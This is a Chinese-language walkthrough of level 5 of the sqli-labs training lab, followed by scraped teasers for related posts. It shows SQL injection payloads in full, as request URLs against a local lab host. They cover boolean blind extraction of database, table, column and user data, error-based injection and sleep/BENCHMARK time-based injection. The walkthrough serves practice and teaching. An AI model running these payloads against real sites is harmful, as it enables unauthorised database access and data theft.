Sqli-labs less 5

Less-5

这里说一下,有很多的blog是翻译或者copy的,这关正确的思路是盲注。从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了,所以我们不能利用上述less1-4的方法

我们从这这一关开始学习盲注。结合background-2的信息,将上述能使用的payload展示一下使用方法。

  1. 利用left(database(),1)进行尝试

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

    查看一下version(),数据库的版本号为5.6.17,这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。

    当版本号不正确的时候,则不能正确显示 you are in......

    接下来看一下数据库的长度

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23

    长度为8时,返回正确结果,说明长度为8.

    猜测数据库第一位

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

    Database()为security,所以我们看他的第一位是否 > a,很明显的是s > a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。

    ?

    猜测数据库第二位

    得知第一位为s,我们看前两位是否大于 sa

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

    往下的请举一反三,因有人问过此类问题,不知道该怎么进行第二位第三位。这里对于这个问题只讲一次,以后就不会再说这个问题。要有自我思考的能力和意识。

  2. 利用substr() ascii()函数进行尝试

    ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

    根据以上得知数据库名为security,那我们利用此方式获取security数据库下的表。

    获取security数据库的第一个表的第一个字符

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

    Ps:此处table_schema可以写成 =‘security‘,但是我们这里使用的database(),是因为此处database()就是security。此处同样的使用二分法进行测试,直到测试正确为止。

    此处应该是101,因为第一个表示email。

    如何获取第一个表的第二位字符呢?

    这里我们已经了解了substr()函数,这里使用substr(**,2,1)即可。

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108--+

    ?

    ?

    那如何获取第二个表呢?思考一下!

    这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0个开始,获取第一个。那要获取第二个是不是就是limit 1,1!

    http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+

    此处113返回是正确的,因为第二个表示referers表,所以第一位就是r.

    以后的过程就是不断的重复上面的,这里就不重复造轮子了。原理已经解释清楚了。

    当你按照方法运行结束后,就可以获取到所有的表的名字。

  3. 利用regexp获取(2)中users表中的列

    http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

    上述语句时选择users表中的列名是否有us**的列

    http://127.0.0.1/sqllib/Less-5/?id=1‘ and 1=(select 1 from information_schema.columns where table_name=‘users‘ and column_name regexp ‘^username‘ limit 0,1)--+

    上图中可以看到username存在。我们可以将username换成password等其他的项也是正确的。

    ?

  4. 利用ord()和mid()函数获取users表的内容

    http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

    获取users表中的内容。获取username中的第一行的第一个字符的ascii,与68进行比较,即为D。而我们从表中得知第一行的数据为Dumb。所以接下来只需要重复造轮子即可。

    ?

    总结:以上(1)(2)(3)(4)我们通过使用不同的语句,将通过布尔盲注SQL的所有的payload进行演示了一次。想必通过实例更能够对sql布尔盲注语句熟悉和理解了。

    ?

    接下来,我们演示一下报错注入和延时注入。

    (5)首先使用报错注入

    http://127.0.0.1/sqllib/Less-5/?id=1‘ union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

    ?

    利用double数值类型超出范围进行报错注入

    http://127.0.0.1/sqllib/Less-5/?id=1‘ union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

    利用bigint溢出进行报错注入

    http://127.0.0.1/sqllib/Less-5/?id=1‘ union select (!(select * from (select user())x) - ~0),2,3--+

    xpath函数报错注入

    http://127.0.0.1/sqllib/Less-5/?id=1‘ and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

    http://127.0.0.1/sqllib/Less-5/?id=1‘ and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

    利用数据的重复性

    http://127.0.0.1/sqllib/Less-5/?id=1‘union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

  5. 延时注入

    利用sleep()函数进行注入

    http://127.0.0.1/sqllib/Less-5/?id=1‘and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

    当错误的时候会有5秒的时间延时。

    利用BENCHMARK()进行延时注入

    http://127.0.0.1/sqllib/Less-5/?id=1‘UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE(‘MSG‘,‘by 5 seconds‘)),null)),2,3 FROM (select database() as current) as tb1--+

    当结果正确的时候,运行ENCODE(‘MSG‘,‘by 5 seconds‘)操作50000000次,会占用一段时间。

    ?

    ?

    至此,我们已经将上述讲到的盲注的利用方法全部在less5中演示了一次。在后续的关卡中,将会挑一种进行演示,其他的盲注方法请参考less5.

时间: 2025-01-02 19:20:56

Sqli-labs less 5的相关文章

Sqli labs系列-less-1 详细篇

要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了,我就开始弄这个,毕竟这个里面涉及到的 SQL 注入知识很全,我贴一个下载地址:Sqli labs系列下载地址 对了还有我这个系列的头顶图,那个图是某个低调群的活跃用户装X墙,纯属装 X ,娱乐着玩了,大家别当真哈. 开了正文开始了! 首先我们先开始第一关,然后构造下注入环境,也就是在 http://

Sqli labs系列-less-2 详细篇

就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊...好歹我也是上打过网络安全攻防平台,注入卡在第七关,我下玩过 web_for_pentester ,web渗透靶机2pentester_II_i386,这些靶场的小菜比... 好了,不扯了,现在开始扯这个第二关. 原本想着明天闲着没事了玩玩吧,后来,我今天也是闲的没事,我就继续开始玩玩吧. 结果玩

Sqli labs相关环境的下载与安装

我们在学习这项内容之前,需要安装两样应用程序,下载路径的搜索比较麻烦,这里提供两个已知的百度网盘网址及其提取码以供使用: 1.安装phpstudy; 链接:https://pan.baidu.com/s/1yeOLf7Mty5bEGLPUSodILg 提取码:y3vl 2.安装sqli-labs-masters; 将sqli-labs-masters解压,放到phpStudy安装目录下的/PHPTutorial/WWW 链接:https://pan.baidu.com/s/1aKbc0fnsLg

sqli labs注入记录(Less-1至Less-10)

Less-1:基于错误的GET单引号字符型注入 我们首先注入一个单引号’,出现SQL语法错误,多出一个单引号,后面闭合语句也是用的单引号: http://127.0.0.1/sqli_labs/Less-1/?id=1’ 再次注入一条SQL语句,因为条件永远为真,响应正常: http://127.0.0.1/sqli_labs/Less-1/?id=1' and '1'='1 下面猜解字段数: http://127.0.0.1/sqli_labs/Less-1/?id=1' order by 1

搭建sqli靶场

前言: sqli是一个印度程序员编写的,用来学习sql注入的一个游戏教程 sqli这个靶场对php7.0是不兼容的(因为一些函数在php7中被删除了),所以搭建的时候要下载php5,如果你的系统要下载php5有点麻烦的话,可以看我文章的最后,那里有解决方法. 正文: 下载 sqli 靶场 https://github.com/Audi-1/sqli-labs linux系统:解压缩到 /var/www/html/ 目录下(如果安装apache时改变了路径,就解压到改变的路径下) mv 文件名 /

SSL Labs: Increased Penalty When TLS 1.2 Is Not Supported

https://community.qualys.com/blogs/securitylabs/2015/05/22/ssl-labs-increased-penalty-when-tls-12-is-not-supported Earlier this week we released SSL Labs 1.17.10, whose main purpose was to increase the penalty when RC4 is used with modern protocols (

silicon labs 代理商

http://www.silabs.com/buysample/pages/contact-sales.aspx?SearchLocation=China Silicon Labs Authorized Semiconductor Distributors: China To order Silicon Labs products, contact a distributor below: China Distributor Office Location Telephone Email Arr

ThinkPHP 3.1.3及之前的版本使用不当可造成SQLi

Lib/Core/Model.class.php中解析SQL语句的函数parseSql没有对SQL语句进行过滤,使用不当可导致SQL注入.(哈哈,其实用再安全的框架使用不当都可能造成SQLi) 函数: /** * 解析SQL语句 * @access public * @param string $sql SQL指令 * @param boolean $parse 是否需要解析SQL * @return string */ protected function parseSql($sql,$par

Rancher Labs亮相SCALE15x:三大演讲福利放送

为期四天的第15届SCALE(The Southern California Linux Expo)已落下帷幕,这是美国规模最大的开源软件和Linux用户的盛会之一. Rancher Labs的工程师们受组委会之邀进行了三个主题演讲: 重构到微服务:实践案例分享 如何为容器运行构建CNI插件 管理大规模Kubernetes面临的挑战及经验教训 演讲内容及PPT请文内自取! SCALE(The Southern California Linux Expo,南加州Linux博览会)是美国规模最大的开

artdialog对话框 三种样式 网址:http://www.planeart.cn/demo/artDialog/_doc/labs.html

摇头效果 类似与wordpress登录失败后登录框可爱的左右晃动效果 // 2011-07-17 更新 artDialog.fn.shake = function (){ var style = this.DOM.wrap[0].style, p = [4, 8, 4, 0, -4, -8, -4, 0], fx = function () { style.marginLeft = p.shift() + 'px'; if (p.length <= 0) { style.marginLeft =